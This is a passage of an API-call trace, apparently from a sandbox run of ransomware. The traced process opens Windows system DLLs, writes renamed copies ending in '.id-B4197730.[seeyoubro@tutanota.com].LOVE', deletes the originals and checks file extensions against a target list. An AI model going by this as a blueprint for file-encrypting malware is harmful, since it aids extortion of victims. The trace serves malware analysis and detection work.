files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0221.445] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.445] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0221.446] GetLastError () returned 0x0 [0221.446] ReadFile (in: hFile=0x348, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0xbee8, lpOverlapped=0x0) returned 1 [0221.477] WriteFile (in: hFile=0x300, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xbef0, lpOverlapped=0x0) returned 1 [0221.479] ReadFile (in: hFile=0x348, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.479] WriteFile (in: hFile=0x300, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x102, lpOverlapped=0x0) returned 1 [0221.479] SetEndOfFile (hFile=0x300) returned 1 [0221.479] CloseHandle (hObject=0x300) returned 1 [0221.479] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.479] SetEndOfFile (hFile=0x348) returned 1 [0221.480] CloseHandle (hObject=0x348) returned 1 [0221.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0221.480] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.483] lstrlenW (lpString=".doc") returned 4 [0221.483] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.483] lstrlenW (lpString=".docx") returned 5 [0221.483] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0221.483] lstrlenW (lpString=".pdf") returned 4 [0221.483] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.483] lstrlenW (lpString=".xls") returned 4 [0221.483] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.483] lstrlenW (lpString=".xlsx") returned 5 [0221.483] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0221.483] lstrlenW (lpString=".ppt") returned 4 [0221.483] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.483] lstrlenW (lpString=".zip") returned 4 [0221.483] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.483] lstrlenW (lpString=".rar") returned 4 [0221.483] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.483] lstrlenW (lpString=".bz2") returned 4 [0221.483] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.483] lstrlenW (lpString=".7z") returned 3 [0221.483] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.483] lstrlenW (lpString=".dbf") returned 4 [0221.483] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.483] lstrlenW (lpString=".1cd") returned 4 [0221.483] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.483] lstrlenW (lpString=".jpg") returned 4 [0221.483] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.484] lstrlenW (lpString=".doc") returned 4 [0221.484] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.484] lstrlenW (lpString=".docx") returned 5 [0221.484] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0221.484] lstrlenW (lpString=".pdf") returned 4 [0221.484] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.484] lstrlenW (lpString=".xls") returned 4 [0221.484] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.484] lstrlenW (lpString=".xlsx") returned 5 [0221.484] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0221.484] lstrlenW (lpString=".ppt") returned 4 [0221.484] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.484] lstrlenW (lpString=".zip") returned 4 [0221.484] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.484] lstrlenW (lpString=".rar") returned 4 [0221.484] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.484] lstrlenW (lpString=".bz2") returned 4 [0221.484] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.484] lstrlenW (lpString=".7z") returned 3 [0221.484] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.484] lstrlenW (lpString=".dbf") returned 4 [0221.484] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.484] lstrlenW (lpString=".1cd") returned 4 [0221.484] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0221.484] lstrlenW (lpString=".jpg") returned 4 [0221.484] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.485] lstrcmpiW (lpString1=".mui", lpString2=".LOVE") returned 1 [0221.485] lstrlenW (lpString="sqlxmlx.rll.mui") returned 15 [0221.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0221.569] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=18432) returned 1 [0221.569] CloseHandle (hObject=0x380) returned 1 [0221.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0221.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0221.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.569] lstrlenW (lpString=".doc") returned 4 [0221.569] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0221.569] lstrlenW (lpString=".docx") returned 5 [0221.569] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0221.569] lstrlenW (lpString=".pdf") returned 4 [0221.569] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0221.569] lstrlenW (lpString=".xls") returned 4 [0221.569] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0221.569] lstrlenW (lpString=".xlsx") returned 5 [0221.570] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0221.570] lstrlenW (lpString=".ppt") returned 4 [0221.570] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0221.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.570] lstrlenW (lpString=".zip") returned 4 [0221.570] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0221.570] lstrlenW (lpString=".rar") returned 4 [0221.570] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0221.570] lstrlenW (lpString=".bz2") returned 4 [0221.570] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0221.570] lstrlenW (lpString=".7z") returned 3 [0221.570] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0221.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.570] lstrlenW (lpString=".dbf") returned 4 [0221.570] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0221.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.570] lstrlenW (lpString=".1cd") returned 4 [0221.570] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0221.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.570] lstrlenW (lpString=".jpg") returned 4 [0221.570] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0221.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.570] lstrlenW (lpString=".doc") returned 4 [0221.570] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0221.570] lstrlenW (lpString=".docx") returned 5 [0221.570] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0221.570] lstrlenW (lpString=".pdf") returned 4 [0221.570] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0221.570] lstrlenW (lpString=".xls") returned 4 [0221.570] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0221.571] lstrlenW (lpString=".xlsx") returned 5 [0221.571] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0221.571] lstrlenW (lpString=".ppt") returned 4 [0221.571] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0221.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.571] lstrlenW (lpString=".zip") returned 4 [0221.571] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0221.571] lstrlenW (lpString=".rar") returned 4 [0221.571] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0221.571] lstrlenW (lpString=".bz2") returned 4 [0221.571] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0221.571] lstrlenW (lpString=".7z") returned 3 [0221.571] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0221.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.571] lstrlenW (lpString=".dbf") returned 4 [0221.571] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0221.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.571] lstrlenW (lpString=".1cd") returned 4 [0221.571] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0221.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0221.571] lstrlenW (lpString=".jpg") returned 4 [0221.571] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0221.571] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0221.571] lstrlenW (lpString="msdaps.dll") returned 10 [0221.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0221.585] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=376320) returned 1 [0221.585] CloseHandle (hObject=0x380) returned 1 [0221.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0221.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0221.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.587] lstrlenW (lpString=".doc") returned 4 [0221.587] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.587] lstrlenW (lpString=".docx") returned 5 [0221.587] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0221.587] lstrlenW (lpString=".pdf") returned 4 [0221.587] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.587] lstrlenW (lpString=".xls") returned 4 [0221.587] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.587] lstrlenW (lpString=".xlsx") returned 5 [0221.587] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0221.587] lstrlenW (lpString=".ppt") returned 4 [0221.587] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.587] lstrlenW (lpString=".zip") returned 4 [0221.587] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.587] lstrlenW (lpString=".rar") returned 4 [0221.587] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.587] lstrlenW (lpString=".bz2") returned 4 [0221.587] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.587] lstrlenW (lpString=".7z") returned 3 [0221.587] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.587] lstrlenW (lpString=".dbf") returned 4 [0221.587] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.587] lstrlenW (lpString=".1cd") returned 4 [0221.587] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.588] lstrlenW (lpString=".jpg") returned 4 [0221.588] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.588] lstrlenW (lpString=".doc") returned 4 [0221.588] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.588] lstrlenW (lpString=".docx") returned 5 [0221.588] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0221.588] lstrlenW (lpString=".pdf") returned 4 [0221.588] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.588] lstrlenW (lpString=".xls") returned 4 [0221.588] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.588] lstrlenW (lpString=".xlsx") returned 5 [0221.588] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0221.588] lstrlenW (lpString=".ppt") returned 4 [0221.588] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.588] lstrlenW (lpString=".zip") returned 4 [0221.588] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.588] lstrlenW (lpString=".rar") returned 4 [0221.588] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.588] lstrlenW (lpString=".bz2") returned 4 [0221.588] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.588] lstrlenW (lpString=".7z") returned 3 [0221.588] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.588] lstrlenW (lpString=".dbf") returned 4 [0221.588] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.588] lstrlenW (lpString=".1cd") returned 4 [0221.589] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0221.589] lstrlenW (lpString=".jpg") returned 4 [0221.589] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.589] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0221.589] lstrlenW (lpString="msdasqlr.dll") returned 12 [0221.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0221.593] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=54784) returned 1 [0221.593] CloseHandle (hObject=0x320) returned 1 [0221.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0221.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0221.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.594] lstrlenW (lpString=".doc") returned 4 [0221.594] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.594] lstrlenW (lpString=".docx") returned 5 [0221.594] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0221.599] lstrlenW (lpString=".pdf") returned 4 [0221.599] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.599] lstrlenW (lpString=".xls") returned 4 [0221.599] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.599] lstrlenW (lpString=".xlsx") returned 5 [0221.599] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0221.599] lstrlenW (lpString=".ppt") returned 4 [0221.599] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.599] lstrlenW (lpString=".zip") returned 4 [0221.599] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.599] lstrlenW (lpString=".rar") returned 4 [0221.599] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.599] lstrlenW (lpString=".bz2") returned 4 [0221.599] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.600] lstrlenW (lpString=".7z") returned 3 [0221.600] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.600] lstrlenW (lpString=".dbf") returned 4 [0221.600] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.600] lstrlenW (lpString=".1cd") returned 4 [0221.600] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.600] lstrlenW (lpString=".jpg") returned 4 [0221.600] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.600] lstrlenW (lpString=".doc") returned 4 [0221.600] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.600] lstrlenW (lpString=".docx") returned 5 [0221.600] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0221.600] lstrlenW (lpString=".pdf") returned 4 [0221.600] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.600] lstrlenW (lpString=".xls") returned 4 [0221.600] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.600] lstrlenW (lpString=".xlsx") returned 5 [0221.600] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0221.600] lstrlenW (lpString=".ppt") returned 4 [0221.600] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.600] lstrlenW (lpString=".zip") returned 4 [0221.600] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.600] lstrlenW (lpString=".rar") returned 4 [0221.600] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.601] lstrlenW (lpString=".bz2") returned 4 [0221.601] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.601] lstrlenW (lpString=".7z") returned 3 [0221.601] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.601] lstrlenW (lpString=".dbf") returned 4 [0221.601] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.601] lstrlenW (lpString=".1cd") returned 4 [0221.601] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0221.601] lstrlenW (lpString=".jpg") returned 4 [0221.601] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.601] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0221.601] lstrlenW (lpString="msxactps.dll") returned 12 [0221.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0221.611] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=16384) returned 1 [0221.612] CloseHandle (hObject=0x2d8) returned 1 [0221.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0221.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0221.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.612] lstrlenW (lpString=".doc") returned 4 [0221.612] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.612] lstrlenW (lpString=".docx") returned 5 [0221.612] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0221.612] lstrlenW (lpString=".pdf") returned 4 [0221.612] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.612] lstrlenW (lpString=".xls") returned 4 [0221.612] 